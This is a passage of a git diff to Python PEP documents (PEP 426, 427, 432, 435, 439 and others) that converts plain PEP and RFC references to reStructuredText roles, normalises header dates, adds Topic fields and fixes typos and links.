-* defining a binary archive format (``wheel``) in PEP 427 -* explicitly defining versioning and version comparison in PEP 440 -* explicitly defining the PyPI "simple" API in PEP 503 -* explicitly defining dependency specifiers and the extras system in PEP 508 -* declaring static build system dependencies (``pyproject.toml``) in PEP 518 +* defining a binary compatibility tagging format in :pep:`425` +* defining a binary archive format (``wheel``) in :pep:`427` +* explicitly defining versioning and version comparison in :pep:`440` +* explicitly defining the PyPI "simple" API in :pep:`503` +* explicitly defining dependency specifiers and the extras system in :pep:`508` +* declaring static build system dependencies (``pyproject.toml``) in :pep:`518` * migrating PyPI hosting to Rackspace, and placing it behind the Fastly CDN -* shipping ``pip`` with CPython by default in PEP 453, and backporting that - addition to Python 2.7 in PEP 477 +* shipping ``pip`` with CPython by default in :pep:`453`, and backporting that + addition to Python 2.7 in :pep:`477` * establishing `packaging.python.org`_ as the common access point for Python packaging ecosystem documentation * migrating to using the `specifications`_ section of packaging.python.org @@ -81,7 +82,7 @@ metadata format changes were genuinely desirable, and which could be omitted from the revised specification as merely being "change for change's sake". It also allowed a number of features that aren't critical to the core activity -of publishing and distributing software to be moved out to PEP 459, a separate +of publishing and distributing software to be moved out to :pep:`459`, a separate proposal for a number of standard metadata extensions that provide additional optional information about a release. @@ -98,7 +99,7 @@ it doesn't actually help solve any particularly pressing problems: .. _specifications: https://packaging.python.org/specifications/ .. _minor spec version update: https://mail.python.org/pipermail/distutils-sig/2017-September/031465.html -Finally, the PEP was withdrawn in February 2018 in favour of PEP 566 (which +Finally, the PEP was withdrawn in February 2018 in favour of :pep:`566` (which pursues that more incremental strategy). @@ -178,7 +179,7 @@ Supporting definitions The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this -document are to be interpreted as described in RFC 2119. +document are to be interpreted as described in :rfc:`2119`. "Projects" are software components that are made available for integration. Projects include Python libraries, frameworks, scripts, plugins, @@ -450,7 +451,7 @@ This schema does NOT currently handle validation of some of the more complex string fields (instead treating them as opaque strings). Except where otherwise noted, all URL fields in the metadata MUST comply -with RFC 3986. +with :rfc:`3986`. .. note:: @@ -486,7 +487,7 @@ Version of the file format; ``"2.0"`` is the only legal value. Automated tools consuming metadata SHOULD warn if ``metadata_version`` is greater than the highest version they support, and MUST fail if ``metadata_version`` has a greater major version than the highest -version they support (as described in PEP 440, the major version is the +version they support (as described in :pep:`440`, the major version is the value before the first dot). For broader compatibility, build tools MAY choose to produce @@ -513,7 +514,7 @@ Examples:: Name ---- -The name of the distribution, as defined in PEP 508. +The name of the distribution, as defined in :pep:`508`. As distribution names are used as part of URLs, filenames, command line parameters and must also interoperate with other packaging systems, the @@ -562,17 +563,17 @@ Example:: Version ------- -The distribution's public or local version identifier, as defined in PEP 440. +The distribution's public or local version identifier, as defined in :pep:`440`. Version identifiers are designed for consumption by automated tools and -support a variety of flexible version specification mechanisms (see PEP 440 +support a variety of flexible version specification mechanisms (see :pep:`440` for details). -Version identifiers MUST comply with the format defined in PEP 440. +Version identifiers MUST comply with the format defined in :pep:`440`. Version identifiers MUST be unique within each project. Index servers MAY place restrictions on the use of local version identifiers -as described in PEP 440. +as described in :pep:`440`. Example:: @@ -658,7 +659,7 @@ A string containing a full URL where the source for this specific version of the distribution can be downloaded. Source URLs MUST be unique within each project. This means that the URL -can't be something like ``"https://github.com/pypa/pip/archive/master.zip"``, +can't be something like ``"https://github.com/pypa/pip/archive/main.zip"``, but instead must be ``"https://github.com/pypa/pip/archive/1.3.1.zip"``. The source URL MUST reference either a source archive or a tag or specific @@ -758,8 +759,8 @@ other extras: * ``all``: if not otherwise defined, implies all declared extras Dependency management is heavily dependent on the version identification -and specification scheme defined in PEP 440 and the dependency specification, -extra, and environment marker schemes defined in PEP 508. +and specification scheme defined in :pep:`440` and the dependency specification, +extra, and environment marker schemes defined in :pep:`508`. All of these fields are optional. Automated tools MUST operate correctly if a distribution does not provide them, by assuming that a missing field @@ -864,10 +865,10 @@ subfields: and installed together. See `Extras (optional dependencies)`_ for details * ``environment``: an environment marker defining the environment that needs these dependencies. The syntax and capabilities of environment - markers are defined in PEP 508 + markers are defined in :pep:`508` Individual entries in the ``requires`` lists are strings using the dependency -declaration format defined in PEP 508, with the exception that environment +declaration format defined in :pep:`508`, with the exception that environment markers MUST NOT be included in the individual dependency declarations, and are instead supplied in the separate ``environment`` field. @@ -960,7 +961,7 @@ However, if this key is omitted, then the implied version is ``1.0``. Automated tools consuming extension metadata SHOULD warn if ``extension_version`` is greater than the highest version they support, and MUST fail if ``extension_version`` has a greater major version than -the highest version they support (as described in PEP 440, the major +the highest version they support (as described in :pep:`440`, the major version is the value before the first dot). For broader compatibility, build tools MAY choose to produce @@ -990,7 +991,7 @@ back on attempting to install from source rather than failing entirely. Extras (optional dependencies) ============================== -As defined in PEP 508, extras are additional dependencies that enable an +As defined in :pep:`508`, extras are additional dependencies that enable an optional aspect of a project release, often corresponding to a ``try: import optional_dependency ...`` block in the code. They are also used to indicate semantic dependencies for activities other than normal runtime using (such as @@ -1125,8 +1126,8 @@ to manually duplicate any of the upstream metadata in a distribution specific format. -Appendix C: Summary of differences from \PEP 345 -================================================= +Appendix C: Summary of differences from PEP 345 +=============================================== * Metadata-Version is now 2.0, with semantics specified for handling version changes @@ -1145,12 +1146,12 @@ Appendix C: Summary of differences from \PEP 345 exist and how they are intended to be used, rather than being a simple description of the permitted contents -* Changed the version scheme to be based on PEP 440 rather than PEP 386 +* Changed the version scheme to be based on :pep:`440` rather than :pep:`386` -* Added the source label mechanism as described in PEP 440 +* Added the source label mechanism as described in :pep:`440` * Formally defined dependency declarations, extras, and environment markers - in PEP 508 + in :pep:`508` * Support for different kinds of dependencies through additional reserved extra names @@ -1171,13 +1172,13 @@ Metadata-Version semantics The semantics of major and minor version increments are now specified, and follow the same model as the format version semantics specified for -the wheel format in PEP 427: minor version increments must behave +the wheel format in :pep:`427`: minor version increments must behave reasonably when processed by a tool that only understand earlier metadata versions with the same major version, while major version increments may include changes that are not compatible with existing tools. The major version number of the specification has been incremented -accordingly, as interpreting PEP 426 metadata obviously cannot be +accordingly, as interpreting :pep:`426` metadata obviously cannot be interpreted in accordance with earlier metadata specifications. Whenever the major version number of the specification is incremented, it @@ -1228,7 +1229,7 @@ target environment. Changing the version scheme --------------------------- -See PEP 440 for a detailed rationale for the various changes made to the +See :pep:`440` for a detailed rationale for the various changes made to the versioning scheme. @@ -1325,7 +1326,7 @@ Standard extensions ------------------- Some of the information provided by the legacy metadata system has been -moved out to standard extensions defined in PEP 459. +moved out to standard extensions defined in :pep:`459`. This allows publication of the core dependency metadata in a more readily consumable format to proceed even before the full details of those extensions @@ -1472,7 +1473,7 @@ compatibility by the upstream project. Compatible release comparisons in environment markers ----------------------------------------------------- -PEP 440 defines a rich syntax for version comparisons that could +:pep:`440` defines a rich syntax for version comparisons that could potentially be useful with ``python_version`` and ``python_full_version`` in environment markers. However, allowing the full syntax would mean environment markers are no longer a Python subset, while allowing @@ -1499,12 +1500,12 @@ References ========== This document specifies version 2.0 of the metadata format. -Version 1.0 is specified in PEP 241. -Version 1.1 is specified in PEP 314. -Version 1.2 is specified in PEP 345. +Version 1.0 is specified in :pep:`241`. +Version 1.1 is specified in :pep:`314`. +Version 1.2 is specified in :pep:`345`. The initial attempt at a standardised version scheme, along with the -justifications for needing such a standard can be found in PEP 386. +justifications for needing such a standard can be found in :pep:`386`. .. [1] reStructuredText markup: http://docutils.sourceforge.net/ diff --git a/pep-0427.txt b/pep-0427.txt index e60c93c97f5..423fc11d4b7 100644 --- a/pep-0427.txt +++ b/pep-0427.txt @@ -4,14 +4,22 @@ Version: $Revision$ Last-Modified: $Date$ Author: Daniel Holth BDFL-Delegate: Nick Coghlan -Discussions-To: +Discussions-To: distutils-sig@python.org Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 20-Sep-2012 Post-History: 18-Oct-2012, 15-Feb-2013 Resolution: https://mail.python.org/pipermail/python-dev/2013-February/124103.html +Canonical specification +======================= + +The canonical version of the wheel format specification is now maintained at +https://packaging.python.org/specifications/binary-distribution-format/ . +This may contain amendments relative to this PEP. + Abstract ======== @@ -19,7 +27,7 @@ This PEP describes a built-package format for Python called "wheel". A wheel is a ZIP-format archive with a specially formatted file name and the ``.whl`` extension. It contains a single distribution nearly as it -would be installed according to PEP 376 with a particular installation +would be installed according to :pep:`376` with a particular installation scheme. Although a specialized installer is recommended, a wheel file may be installed by simply unpacking into site-packages with the standard 'unzip' tool while preserving enough information to spread its contents @@ -153,7 +161,7 @@ on any CPU architecture. The last three components of the filename before the extension are called "compatibility tags." The compatibility tags express the -package's basic interpreter requirements and are detailed in PEP 425. +package's basic interpreter requirements and are detailed in :pep:`425`. Escaping and Unicode '''''''''''''''''''' @@ -186,7 +194,7 @@ its version, e.g. ``1.0.0``, consist of: #. ``{distribution}-{version}.data/`` contains one subdirectory for each non-empty install scheme key not already covered, where the subdirectory name is an index into a dictionary of install paths - (e.g. ``data``, ``scripts``, ``include``, ``purelib``, ``platlib``). + (e.g. ``data``, ``scripts``, ``headers``, ``purelib``, ``platlib``). #. Python scripts must appear in ``scripts`` and begin with exactly ``b'#!python'`` in order to enjoy script wrapper generation and ``#!python`` rewriting at install time. They may have any or no @@ -234,12 +242,12 @@ The .dist-info directory found at the root of sdists. #. WHEEL is the wheel metadata specific to a build of the package. #. RECORD is a list of (almost) all the files in the wheel and their - secure hashes. Unlike PEP 376, every file except RECORD, which + secure hashes. Unlike :pep:`376`, every file except RECORD, which cannot contain a hash of itself, must include its hash. The hash algorithm must be sha256 or better; specifically, md5 and sha1 are not permitted, as signed wheel files rely on the strong hashes in RECORD to validate the integrity of the archive. -#. PEP 376's INSTALLER and REQUESTED are not included in the archive. +#. :pep:`376`'s INSTALLER and REQUESTED are not included in the archive. #. RECORD.jws is used for digital signatures. It is not mentioned in RECORD. #. RECORD.p7s is allowed as a courtesy to anyone who would prefer to @@ -271,7 +279,7 @@ Signed wheel files ------------------ Wheel files include an extended RECORD that enables digital -signatures. PEP 376's RECORD is altered to include a secure hash +signatures. :pep:`376`'s RECORD is altered to include a secure hash ``digestname=urlsafe_b64encode_nopad(digest)`` (urlsafe base64 encoding with no trailing = characters) as the second column instead of an md5sum. All possible entries are hashed, including any @@ -305,10 +313,10 @@ checker only needs to establish that RECORD matches the signature. See -- http://self-issued.info/docs/draft-ietf-jose-json-web-signature.html -- http://self-issued.info/docs/draft-jones-jose-jws-json-serialization.html -- http://self-issued.info/docs/draft-ietf-jose-json-web-key.html -- http://self-issued.info/docs/draft-jones-jose-json-private-key.html +- :rfc:`7515` +- https://datatracker.ietf.org/doc/html/draft-jones-jose-jws-json-serialization.html +- :rfc:`7517` +- https://datatracker.ietf.org/doc/html/draft-jones-jose-json-private-key.html Comparison to .egg diff --git a/pep-0428.txt b/pep-0428.txt index e8a738fd5e0..2bfcc5db336 100644 --- a/pep-0428.txt +++ b/pep-0428.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 30-Jul-2012 Python-Version: 3.4 -Post-History: https://mail.python.org/pipermail/python-ideas/2012-October/016338.html +Post-History: `05-Oct-2012 `__ Resolution: https://mail.python.org/pipermail/python-dev/2013-November/130424.html diff --git a/pep-0429.txt b/pep-0429.txt index 05f4f077cc2..be730a4019e 100644 --- a/pep-0429.txt +++ b/pep-0429.txt @@ -78,28 +78,28 @@ Features for 3.4 Implemented / Final PEPs: -* PEP 428, a "pathlib" module providing object-oriented filesystem paths -* PEP 435, a standardized "enum" module -* PEP 436, a build enhancement that will help generate introspection information for builtins -* PEP 442, improved semantics for object finalization -* PEP 443, adding single-dispatch generic functions to the standard library -* PEP 445, a new C API for implementing custom memory allocators -* PEP 446, changing file descriptors to not be inherited by default in subprocesses -* PEP 450, a new "statistics" module -* PEP 451, standardizing module metadata for Python's module import system -* PEP 453, a bundled installer for the *pip* package manager -* PEP 454, a new "tracemalloc" module for tracing Python memory allocations -* PEP 456, a new hash algorithm for Python strings and binary data -* PEP 3154, a new and improved protocol for pickled objects -* PEP 3156, a new "asyncio" module, a new framework for asynchronous I/O +* :pep:`428`, a "pathlib" module providing object-oriented filesystem paths +* :pep:`435`, a standardized "enum" module +* :pep:`436`, a build enhancement that will help generate introspection information for builtins +* :pep:`442`, improved semantics for object finalization +* :pep:`443`, adding single-dispatch generic functions to the standard library +* :pep:`445`, a new C API for implementing custom memory allocators +* :pep:`446`, changing file descriptors to not be inherited by default in subprocesses +* :pep:`450`, a new "statistics" module +* :pep:`451`, standardizing module metadata for Python's module import system +* :pep:`453`, a bundled installer for the *pip* package manager +* :pep:`454`, a new "tracemalloc" module for tracing Python memory allocations +* :pep:`456`, a new hash algorithm for Python strings and binary data +* :pep:`3154`, a new and improved protocol for pickled objects +* :pep:`3156`, a new "asyncio" module, a new framework for asynchronous I/O Deferred to post-3.4: -* PEP 431, improved support for time zone databases -* PEP 441, improved Python zip application support -* PEP 447, support for __locallookup__ metaclass method -* PEP 448, additional unpacking generalizations -* PEP 455, key transforming dictionary +* :pep:`431`, improved support for time zone databases +* :pep:`441`, improved Python zip application support +* :pep:`447`, support for __locallookup__ metaclass method +* :pep:`448`, additional unpacking generalizations +* :pep:`455`, key transforming dictionary Copyright diff --git a/pep-0431.txt b/pep-0431.txt index 0846647969f..070e41eda0d 100644 --- a/pep-0431.txt +++ b/pep-0431.txt @@ -32,7 +32,7 @@ ambiguous datetimes and will never do so. I therefore withdraw this PEP. -**UPDATE**: The PEP 615 "Support for the IANA Time Zone Database in the +**UPDATE**: The :pep:`615` "Support for the IANA Time Zone Database in the Standard Library" added the ``zoneinfo`` module to Python 3.9 and superseded this PEP. diff --git a/pep-0432.txt b/pep-0432.txt index 2c7ac6e6953..76410a65f4b 100644 --- a/pep-0432.txt +++ b/pep-0432.txt @@ -11,7 +11,7 @@ Type: Standards Track Content-Type: text/x-rst Requires: 587 Created: 28-Dec-2012 -Post-History: 28-Dec-2012, 2-Jan-2013, 30-Mar-2019, 28-Jun-2020 +Post-History: 28-Dec-2012, 02-Jan-2013, 30-Mar-2019, 28-Jun-2020 PEP Withdrawal @@ -24,17 +24,17 @@ and the CPython runtime easier to embed as part of a larger application. For most of that time, the changes were maintained either in a separate feature branch, or else as underscore-prefixed private APIs in the main CPython repo. -In 2019, PEP 587 migrated a subset of those API changes to the public CPython +In 2019, :pep:`587` migrated a subset of those API changes to the public CPython API for Python 3.8+ (specifically, the PEP updated the interpreter runtime to offer an explicitly multi-stage struct-based configuration interface). In June 2020, in response to a query from the Steering Council, the PEP authors decided that it made sense to withdraw the original PEP, as enough has changed -since PEP 432 was first written that we think any further changes to the +since :pep:`432` was first written that we think any further changes to the startup sequence and embedding API would be best formulated as a new PEP (or -PEPs) that take into account not only the not-yet-implemented ideas from PEP 432 +PEPs) that take into account not only the not-yet-implemented ideas from :pep:`432` that weren't considered sufficiently well validated to make their way into -PEP 587, but also any feedback on the public PEP 587 API, and any other lessons +:pep:`587`, but also any feedback on the public :pep:`587` API, and any other lessons that have been learned while adjusting the CPython implementation to be more embedding and subinterpreter friendly. @@ -118,7 +118,7 @@ well-defined phases during the initialization sequence: * Initialized - main interpreter fully available, subinterpreter creation available -PEP 587 is a more detailed proposal that covers separating out the +:pep:`587` is a more detailed proposal that covers separating out the Pre-Initialization phase from the last two phases, but doesn't allow embedding applications to run arbitrary code while in the "Runtime Initialized" state (instead, initializing the core runtime will also always fully initialize the @@ -209,7 +209,7 @@ only need to understand: fully configured (which will hopefully be a relatively small subset of the full C API) -The first two aspects of that are covered by PEP 587, while the details of the +The first two aspects of that are covered by :pep:`587`, while the details of the latter distinction are still being considered. By basing the new design on a combination of C structures and Python @@ -261,7 +261,7 @@ sophisticated microbenchmark will be developed to assist in investigation. Required Configuration Settings =============================== -See PEP 587 for a detailed listing of CPython interpreter configuration settings +See :pep:`587` for a detailed listing of CPython interpreter configuration settings and the various means available for setting them. @@ -283,7 +283,7 @@ of exposing the new functions and structures as public API elements in CPython 3.8. After the initial merge, Victor Stinner then proceeded to actually migrate -settings to the new structure in order to successfully implement the PEP 540 +settings to the new structure in order to successfully implement the :pep:`540` UTF-8 mode changes (which required the ability to track all settings that had previously been decoded with the locale encoding, and decode them again using UTF-8 instead). Eric Snow also migrated a number of internal subsystems over as @@ -291,7 +291,7 @@ part of making the subinterpreter feature more robust. That work showed that the detailed design originally proposed in this PEP had a range of practical issues, so Victor designed and implemented an improved -private API (inspired by an earlier iteration of this PEP), which PEP 587 +private API (inspired by an earlier iteration of this PEP), which :pep:`587` proposes to promote to a public API in Python 3.8. @@ -307,7 +307,7 @@ Design Details * https://github.com/python/cpython/blob/master/Include/cpython/pystate.h * https://github.com/python/cpython/blob/master/Include/cpython/pylifecycle.h - PEP 587 covers the aspects of the API that are considered potentially stable + :pep:`587` covers the aspects of the API that are considered potentially stable enough to make public. Where a proposed API is covered by that PEP, "(see PEP 587)" is added to the text below. @@ -319,7 +319,7 @@ simplifying a number of operations that currently need to rely on basic C functionality rather than being able to use the richer data structures provided by the CPython C API. -PEP 587 covers a subset of that task, which is splitting out the components that +:pep:`587` covers a subset of that task, which is splitting out the components that even the existing "May be called before ``Py_Initialize``" interfaces need (like memory allocators and operating system interface encoding details) into a separate pre-configuration step. @@ -343,7 +343,7 @@ The following distinct interpreter initialisation phases are proposed: which encoding to use to access operating system interfaces (or chooses to delegate those decisions to the Python runtime) * Application starts the initialization process by calling one of the - ``Py_PreInitialize`` APIs (see PEP 587) + ``Py_PreInitialize`` APIs (see :pep:`587`) * Runtime Pre-Initialization: @@ -354,7 +354,7 @@ The following distinct interpreter initialisation phases are proposed: * The embedding application determines the settings required to initialize the core CPython runtime and create the main interpreter and moves to the next phase by calling ``Py_InitializeRuntime`` - * Note: as of PEP 587, the embedding application instead calls ``Py_Main()``, + * Note: as of :pep:`587`, the embedding application instead calls ``Py_Main()``, ``Py_UnixMain``, or one of the ``Py_Initialize`` APIs, and hence jumps directly to the Initialized state. @@ -368,7 +368,7 @@ The following distinct interpreter initialisation phases are proposed: * The embedding application determines and applies the settings required to complete the initialization process by calling ``Py_InitializeMainInterpreter`` - * Note: as of PEP 587, this state is not reachable via any public API, it + * Note: as of :pep:`587`, this state is not reachable via any public API, it only exists as an implicit internal state while one of the ``Py_Initialize`` functions is running @@ -396,7 +396,7 @@ over CPython's initial state, it will be able to use the new, finer grained API, which allows the embedding application greater control over the initialization process. -PEP 587 covers an initial iteration of that API, separating out the +:pep:`587` covers an initial iteration of that API, separating out the pre-initialization phase without attempting to separate core runtime initialization from main interpreter initialization. @@ -411,7 +411,7 @@ to the embedded Python runtime. This covers telling Python which memory allocator to use, as well as which text encoding to use when processing provided settings. -PEP 587 defines the settings needed to exit this state in its ``PyPreConfig`` +:pep:`587` defines the settings needed to exit this state in its ``PyPreConfig`` struct. A new query API will allow code to determine if the interpreter hasn't even @@ -426,7 +426,7 @@ The query for a completely uninitialized environment would then be Runtime Pre-Initialization Phase -------------------------------- -.. note:: In PEP 587, the settings for this phase are not yet separated out, +.. note:: In :pep:`587`, the settings for this phase are not yet separated out, and are instead only available through the combined ``PyConfig`` struct The pre-initialization phase is where an embedding application determines @@ -462,9 +462,9 @@ The proposed APIs for this step in the startup sequence are:: If ``Py_IsInitializing()`` is false, the ``Py_InitializeRuntime`` functions will implicitly call the corresponding ``Py_PreInitialize`` function. The ``use_environment`` setting will be passed down, while other settings will be -processed according to their defaults, as described in PEP 587. +processed according to their defaults, as described in :pep:`587`. -The ``PyInitError`` return type is defined in PEP 587, and allows an embedding +The ``PyInitError`` return type is defined in :pep:`587`, and allows an embedding application to gracefully handle Python runtime initialization failures, rather than having the entire process abruptly terminated by ``Py_FatalError``. @@ -653,7 +653,7 @@ application wants to adjust a setting rather than replace it completely, such as removing ``sys.path[0]``). The ``c_config`` argument is an optional pointer to a ``PyConfig`` structure, -as defined in PEP 587. If provided, it is used in preference to reading settings +as defined in :pep:`587`. If provided, it is used in preference to reading settings directly from the environment or process global state. Merely reading the configuration has no effect on the interpreter state: it @@ -675,10 +675,10 @@ or not the interpreter is the main interpreter will be configured on a per interpreter basis. Other fields will be reviewed for whether or not they can feasibly be made interpreter specific over the course of the implementation. -.. note:: The list of config fields below is currently out of sync with PEP 587. - Where they differ, PEP 587 takes precedence. +.. note:: The list of config fields below is currently out of sync with :pep:`587`. + Where they differ, :pep:`587` takes precedence. -The ``PyConfigAsObjects`` struct mirrors the ``PyConfig`` struct from PEP 587, +The ``PyConfigAsObjects`` struct mirrors the ``PyConfig`` struct from :pep:`587`, but uses full Python objects to store values, rather than C level data types. It adds ``raw_argv`` and ``argv`` list fields, so later initialisation steps don't need to accept those separately. @@ -831,7 +831,7 @@ state if ``import site`` is later explicitly executed in the process. Preparing the main module ------------------------- -.. note:: In PEP 587, ``PyRun_PrepareMain`` and ``PyRun_ExecMain`` are not +.. note:: In :pep:`587`, ``PyRun_PrepareMain`` and ``PyRun_ExecMain`` are not exposed separately, and are instead accessed through a ``Py_RunMain`` API that both prepares and executes main, and then finalizes the Python interpreter. @@ -902,7 +902,7 @@ configuration system) Executing the main module ------------------------- -.. note:: In PEP 587, ``PyRun_PrepareMain`` and ``PyRun_ExecMain`` are not +.. note:: In :pep:`587`, ``PyRun_PrepareMain`` and ``PyRun_ExecMain`` are not exposed separately, and are instead accessed through a ``Py_RunMain`` API that both prepares and executes main, and then finalizes the Python interpreter. @@ -971,7 +971,7 @@ settings are part of the CPython implementation, rather than part of the Python language definition. If new settings are needed to support cross-implementation compatibility in the standard library, then those should be agreed with the other implementations and exposed as new required -attributes on ``sys.implementation``, as described in PEP 421. +attributes on ``sys.implementation``, as described in :pep:`421`. These are *snapshots* of the initial configuration settings. They are not modified by the interpreter during runtime (except as noted above). @@ -1112,7 +1112,7 @@ The reference implementation is being developed as a private API refactoring within the CPython reference interpreter (as attempting to maintain it as an independent project proved impractical). -PEP 587 extracts a subset of the proposal that is considered sufficiently stable +:pep:`587` extracts a subset of the proposal that is considered sufficiently stable to be worth proposing as a public API for Python 3.8. @@ -1123,7 +1123,7 @@ The current mechanisms for configuring the interpreter have accumulated in a fairly ad hoc fashion over the past 20+ years, leading to a rather inconsistent interface with varying levels of documentation. -Also see PEP 587 for further discussion of the existing settings and their +Also see :pep:`587` for further discussion of the existing settings and their handling. (Note: some of the info below could probably be cleaned up and added to the @@ -1175,7 +1175,7 @@ The location of the Python binary and the standard library is influenced by several elements. The algorithm used to perform the calculation is not documented anywhere other than in the source code [3_,4_]. Even that description is incomplete, as it failed to be updated for the virtual -environment support added in Python 3.3 (detailed in PEP 405). +environment support added in Python 3.3 (detailed in :pep:`405`). These calculations are affected by the following function calls (made prior to calling ``Py_Initialize()``) and environment variables: @@ -1184,7 +1184,7 @@ prior to calling ``Py_Initialize()``) and environment variables: * ``Py_SetPythonHome()`` * ``PYTHONHOME`` -The filesystem is also inspected for ``pyvenv.cfg`` files (see PEP 405) or, +The filesystem is also inspected for ``pyvenv.cfg`` files (see :pep:`405`) or, failing that, a ``lib/os.py`` (Windows) or ``lib/python$VERSION/os.py`` file. diff --git a/pep-0434.txt b/pep-0434.txt index 02f95de8da1..b754d2a4849 100644 --- a/pep-0434.txt +++ b/pep-0434.txt @@ -9,9 +9,9 @@ Status: Active Type: Informational Content-Type: text/x-rst Created: 16-Feb-2013 -Post-History: 16-Feb-2013 - 03-Mar-2013 - 21-Mar-2013 +Post-History: 16-Feb-2013, + 03-Mar-2013, + 21-Mar-2013, 30-Mar-2013 Resolution: https://mail.python.org/pipermail/python-dev/2013-March/125003.html diff --git a/pep-0435.txt b/pep-0435.txt index 79e33087207..df1d2a299ec 100644 --- a/pep-0435.txt +++ b/pep-0435.txt @@ -10,7 +10,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 23-Feb-2013 Python-Version: 3.4 -Post-History: 2013-02-23, 2013-05-02 +Post-History: 23-Feb-2013, 02-May-2013 Replaces: 354 Resolution: https://mail.python.org/pipermail/python-dev/2013-May/126112.html @@ -28,7 +28,7 @@ enumeration itself can be iterated over. Status of discussions ===================== -The idea of adding an enum type to Python is not new - PEP 354 [2]_ is a +The idea of adding an enum type to Python is not new - :pep:`354` is a previous attempt that was rejected in 2005. Recently a new set of discussions was initiated [3]_ on the ``python-ideas`` mailing list. Many new ideas were proposed in several threads; after a lengthy discussion Guido proposed adding @@ -61,7 +61,7 @@ The PEP was accepted by Guido on May 10th, 2013 [1]_. Motivation ========== -*[Based partly on the Motivation stated in PEP 354]* +*[Based partly on the Motivation stated in* :pep:`354`\ *]* The properties of an enumeration are useful for defining an immutable, related set of constant values that may or may not have a semantic meaning. Classic @@ -581,14 +581,13 @@ Acknowledgments This PEP was initially proposing including the ``flufl.enum`` package [8]_ by Barry Warsaw into the stdlib, and is inspired in large parts by it. -Ben Finney is the author of the earlier enumeration PEP 354. +Ben Finney is the author of the earlier enumeration :pep:`354`. References ========== .. [1] https://mail.python.org/pipermail/python-dev/2013-May/126112.html -.. [2] http://www.python.org/dev/peps/pep-0354/ .. [3] https://mail.python.org/pipermail/python-ideas/2013-January/019003.html .. [4] https://mail.python.org/pipermail/python-ideas/2013-February/019373.html .. [5] To make enums behave similarly to Python classes like bool, and diff --git a/pep-0436.txt b/pep-0436.txt index 9b834cdba9e..e65684d2ee4 100644 --- a/pep-0436.txt +++ b/pep-0436.txt @@ -3,7 +3,7 @@ Title: The Argument Clinic DSL Version: $Revision$ Last-Modified: $Date$ Author: Larry Hastings -Discussions-To: Python-Dev +Discussions-To: python-dev@python.org Status: Final Type: Standards Track Content-Type: text/x-rst diff --git a/pep-0437.txt b/pep-0437.txt index a6bcb5c3d53..92f0d729a5e 100644 --- a/pep-0437.txt +++ b/pep-0437.txt @@ -22,7 +22,7 @@ definitions in *.pyx* files to generate the required information. However, CPython's C-API functions often require additional initialization and cleanup snippets that would be hard to specify in a *cdef*. -PEP 436 proposes a domain specific language (DSL) enclosed in C comments +:pep:`436` proposes a domain specific language (DSL) enclosed in C comments that largely resembles a per-parameter configuration file. A preprocessor reads the comment and emits an argument parsing function, docstrings and a header for the function that utilizes the results of the parsing step. @@ -42,9 +42,9 @@ designing the `second iteration of the PEP 436 DSL`_. Rationale ========= -Opinions differ regarding the suitability of the PEP 436 DSL in the context +Opinions differ regarding the suitability of the :pep:`436` DSL in the context of a C file. This PEP proposes an alternative DSL. The specific issues with -PEP 436 that spurred the counter proposal will be explained in the final +:pep:`436` that spurred the counter proposal will be explained in the final section of this PEP. @@ -348,7 +348,7 @@ Comparison with PEP 436 ======================= The author of this PEP has the following concerns about the DSL proposed -in PEP 436: +in :pep:`436`: * The whitespace sensitive configuration file like syntax looks out of place in a C file. @@ -360,20 +360,20 @@ in PEP 436: By contrast, in the alternative DSL the structure of the function definition can be understood at a single glance. -* The PEP 436 DSL has 14 documented flags and at least one undocumented +* The :pep:`436` DSL has 14 documented flags and at least one undocumented (allow_fd) flag. Figuring out which of the 2**15 possible combinations are valid places an unnecessary burden on the user. - Experience with the PEP-3118 buffer flags has shown that sorting out + Experience with the :pep:`3118` buffer flags has shown that sorting out (and exhaustively testing!) valid combinations is an extremely tedious - task. The PEP-3118 flags are still not well understood by many people. + task. The :pep:`3118` flags are still not well understood by many people. By contrast, the alternative DSL has a central file Include/converters.h that can be quickly searched for the desired converter. Many of the converters are already known, perhaps even memorized by people (due to frequent use). -* The PEP 436 DSL allows too much freedom. Types can apparently be omitted, +* The :pep:`436` DSL allows too much freedom. Types can apparently be omitted, the preprocessor accepts (and ignores) unknown keywords, sometimes adding white space after a docstring results in an assertion error. diff --git a/pep-0438.txt b/pep-0438.txt index 1f1b1588a1c..30ee2d530f0 100644 --- a/pep-0438.txt +++ b/pep-0438.txt @@ -7,6 +7,7 @@ BDFL-Delegate: Richard Jones Discussions-To: distutils-sig@python.org Status: Superseded Type: Process +Topic: Packaging Content-Type: text/x-rst Created: 15-Mar-2013 Post-History: 19-May-2013 diff --git a/pep-0439.txt b/pep-0439.txt index 13e909ed8a8..d354c3da427 100644 --- a/pep-0439.txt +++ b/pep-0439.txt @@ -4,9 +4,10 @@ Version: $Revision$ Last-Modified: $Date$ Author: Richard Jones BDFL-Delegate: Nick Coghlan -Discussions-To: +Discussions-To: distutils-sig@python.org Status: Rejected Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 18-Mar-2013 Python-Version: 3.4 @@ -17,7 +18,7 @@ Resolution: https://mail.python.org/pipermail/distutils-sig/2013-August/022527.h Abstract ======== -This PEP proposes the inclusion of a pip boostrap executable in the +This PEP proposes the inclusion of a pip bootstrap executable in the Python installation to simplify the use of 3rd-party modules by Python users. @@ -32,7 +33,7 @@ PEP Rejection This PEP has been rejected in favour of a more explicit mechanism that should achieve the same end result in a more reliable fashion. The more -explicit bootstrapping mechanism is described in PEP 453. +explicit bootstrapping mechanism is described in :pep:`453`. Rationale ========= @@ -82,7 +83,7 @@ require the user to install pip. The pip bootstrap ----------------- -The Python installation includes an executable called "pip3" (see PEP 394 for +The Python installation includes an executable called "pip3" (see :pep:`394` for naming rationale etc.) that attempts to import pip machinery. If it can then the pip command proceeds as normal. If it cannot it will bootstrap pip by downloading the pip implementation and setuptools wheel files. Hereafter the @@ -91,16 +92,16 @@ and virtualenv. Once installed, the pip command proceeds as normal. Once the bootstrap process is complete the "pip3" command is no longer the bootstrap but rather the full pip command. -A boostrap is used in the place of a the full pip code so that we don't have +A bootstrap is used in the place of a the full pip code so that we don't have to bundle pip and also pip is upgradeable outside of the regular Python upgrade timeframe and processes. To avoid issues with sudo we will have the bootstrap default to installing the pip implementation to the per-user site-packages -directory defined in PEP 370 and implemented in Python 2.6/3.0. Since +directory defined in 